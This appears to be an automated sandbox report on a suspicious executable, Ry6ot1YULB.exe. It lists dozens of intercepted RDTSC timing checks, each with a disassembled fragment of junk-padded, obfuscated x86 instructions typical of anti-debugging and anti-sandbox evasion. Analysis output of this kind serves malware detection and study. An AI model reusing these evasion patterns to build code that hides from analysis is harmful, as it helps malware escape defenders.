Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17457A1 second address: 17457FE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7B20B24F78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F7B20B24F78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov di, cx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007F7B20B24F78h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 stc 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d pop edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17457FE second address: 1745808 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1745808 second address: 1745827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17467C7 second address: 174683A instructions: 0x00000000 rdtsc 0x00000002 js 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F7B2139E588h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jno 00007F7B2139E58Eh 0x0000001a nop 0x0000001b cmc 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D1E81h], edx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F7B2139E588h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 cld 0x00000041 jnp 00007F7B2139E586h 0x00000047 mov dword ptr [ebp+122D180Fh], esi 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 pop eax 0x00000052 pushad 0x00000053 popad 0x00000054 popad 0x00000055 pushad 0x00000056 push ebx 0x00000057 pop ebx 0x00000058 jne 00007F7B2139E586h 0x0000005e popad 0x0000005f popad 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 174683A second address: 1746857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F88h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1745943 second address: 1745947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17476AD second address: 17476B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17476B2 second address: 17476C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E590h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17476C6 second address: 17476CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 174695F second address: 1746964 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1746964 second address: 1746972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17476CA second address: 1747744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F7B2139E591h 0x0000000f jmp 00007F7B2139E58Bh 0x00000014 nop 0x00000015 pushad 0x00000016 xor dword ptr [ebp+122D2248h], edx 0x0000001c mov esi, ebx 0x0000001e popad 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebp 0x00000024 call 00007F7B2139E588h 0x00000029 pop ebp 0x0000002a mov dword ptr [esp+04h], ebp 0x0000002e add dword ptr [esp+04h], 00000015h 0x00000036 inc ebp 0x00000037 push ebp 0x00000038 ret 0x00000039 pop ebp 0x0000003a ret 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F7B2139E588h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 pushad 0x00000058 mov dword ptr [ebp+122D2111h], ebx 0x0000005e mov edx, dword ptr [ebp+1244FBA7h] 0x00000064 popad 0x00000065 push eax 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1746972 second address: 1746978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1747744 second address: 1747748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1747748 second address: 1747760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F7B20B24F76h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1746978 second address: 1746A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F7B2139E588h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122D21D9h] 0x00000027 push dword ptr fs:[00000000h] 0x0000002e add bl, FFFFFFCAh 0x00000031 call 00007F7B2139E595h 0x00000036 mov bx, di 0x00000039 pop ebx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov dword ptr [ebp+122D1EC1h], ebx 0x00000047 mov eax, dword ptr [ebp+122D0249h] 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007F7B2139E588h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 xor di, DDCDh 0x0000006c push FFFFFFFFh 0x0000006e mov edi, dword ptr [ebp+122D3606h] 0x00000074 push eax 0x00000075 pushad 0x00000076 ja 00007F7B2139E58Ch 0x0000007c pushad 0x0000007d pushad 0x0000007e popad 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1748774 second address: 1748779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1748779 second address: 174878D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F7B2139E586h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 174878D second address: 1748796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1748A52 second address: 1748A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 174E939 second address: 174E966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F7B20B24F7Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7B20B24F86h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16E90D3 second address: 16E90D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16E90D9 second address: 16E90DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1752B88 second address: 1752BA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Bh 0x00000007 jmp 00007F7B2139E58Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1752BA9 second address: 1752BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1752BB0 second address: 1752BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E595h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1757F7F second address: 1757F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1757F85 second address: 1757FA9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F7B2139E598h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1757FA9 second address: 1757FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175AA34 second address: 175AA5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jnc 00007F7B2139E586h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175AA5C second address: 175AA7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B20B24F7Ch 0x00000008 je 00007F7B20B24F76h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175AA7C second address: 175AA90 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7B2139E588h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175ACD7 second address: 175ACDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175ACDB second address: 175AD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F7B2139E599h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175AD05 second address: 175AD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 175BF14 second address: 175BF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761F2F second address: 1761F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jbe 00007F7B20B24F76h 0x0000000b jmp 00007F7B20B24F80h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761F54 second address: 1761F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007F7B2139E58Bh 0x0000000e jmp 00007F7B2139E593h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761F80 second address: 1761F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761F9B second address: 1761FB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E594h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761FB3 second address: 1761FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F7B20B24F76h 0x0000000e jmp 00007F7B20B24F87h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761FD8 second address: 1761FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17613A0 second address: 17613C1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7B20B24F76h 0x00000008 jmp 00007F7B20B24F83h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176194C second address: 1761952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761952 second address: 1761956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761956 second address: 176195C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1761C39 second address: 1761C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17664C2 second address: 17664C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17664C6 second address: 17664CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17664CC second address: 17664F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F7B2139E58Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 je 00007F7B2139E586h 0x00000016 jnl 00007F7B2139E586h 0x0000001c pop eax 0x0000001d ja 00007F7B2139E588h 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176CC1A second address: 176CC2F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007F7B20B24F7Eh 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176B8C2 second address: 176B8CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176BF6B second address: 176BFBF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F7B20B24F76h 0x0000000d jmp 00007F7B20B24F89h 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7B20B24F87h 0x0000001d jmp 00007F7B20B24F81h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176BFBF second address: 176BFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176BFC3 second address: 176BFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F7B20B24F78h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176BFD1 second address: 176BFE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F7B2139E586h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176C100 second address: 176C131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jng 00007F7B20B24F76h 0x0000000c jno 00007F7B20B24F76h 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007F7B20B24F76h 0x0000001f jmp 00007F7B20B24F7Ch 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176C131 second address: 176C137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176C137 second address: 176C140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176C140 second address: 176C15D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7B2139E58Dh 0x0000000f jnc 00007F7B2139E586h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176C3E3 second address: 176C3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176B428 second address: 176B43C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F7B2139E586h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 176B43C second address: 176B440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17741BF second address: 17741FF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7B2139E59Fh 0x00000008 jmp 00007F7B2139E597h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F7B2139E599h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17741FF second address: 1774221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F85h 0x00000009 pop eax 0x0000000a jnp 00007F7B20B24F7Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1732B50 second address: 1710948 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7B2139E596h 0x00000012 pop edx 0x00000013 nop 0x00000014 cmc 0x00000015 mov dword ptr [ebp+122D22C9h], eax 0x0000001b call dword ptr [ebp+122D20EDh] 0x00000021 push ecx 0x00000022 je 00007F7B2139E59Ah 0x00000028 jmp 00007F7B2139E592h 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 jnp 00007F7B2139E586h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1732D99 second address: 1732D9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733263 second address: 1733267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733267 second address: 1733283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17336EC second address: 1733702 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7B2139E58Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733AA2 second address: 1733AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733AA6 second address: 1733AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733AAC second address: 1733ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B20B24F7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733ABC second address: 1733B20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c call 00007F7B2139E599h 0x00000011 mov ecx, dword ptr [ebp+122D20F4h] 0x00000017 pop edx 0x00000018 or dword ptr [ebp+1245A68Dh], edx 0x0000001e push 0000001Eh 0x00000020 pushad 0x00000021 jbe 00007F7B2139E58Ch 0x00000027 add ecx, dword ptr [ebp+122D187Ch] 0x0000002d push eax 0x0000002e mov ax, 2F6Eh 0x00000032 pop edi 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F7B2139E591h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733B20 second address: 1733B2A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
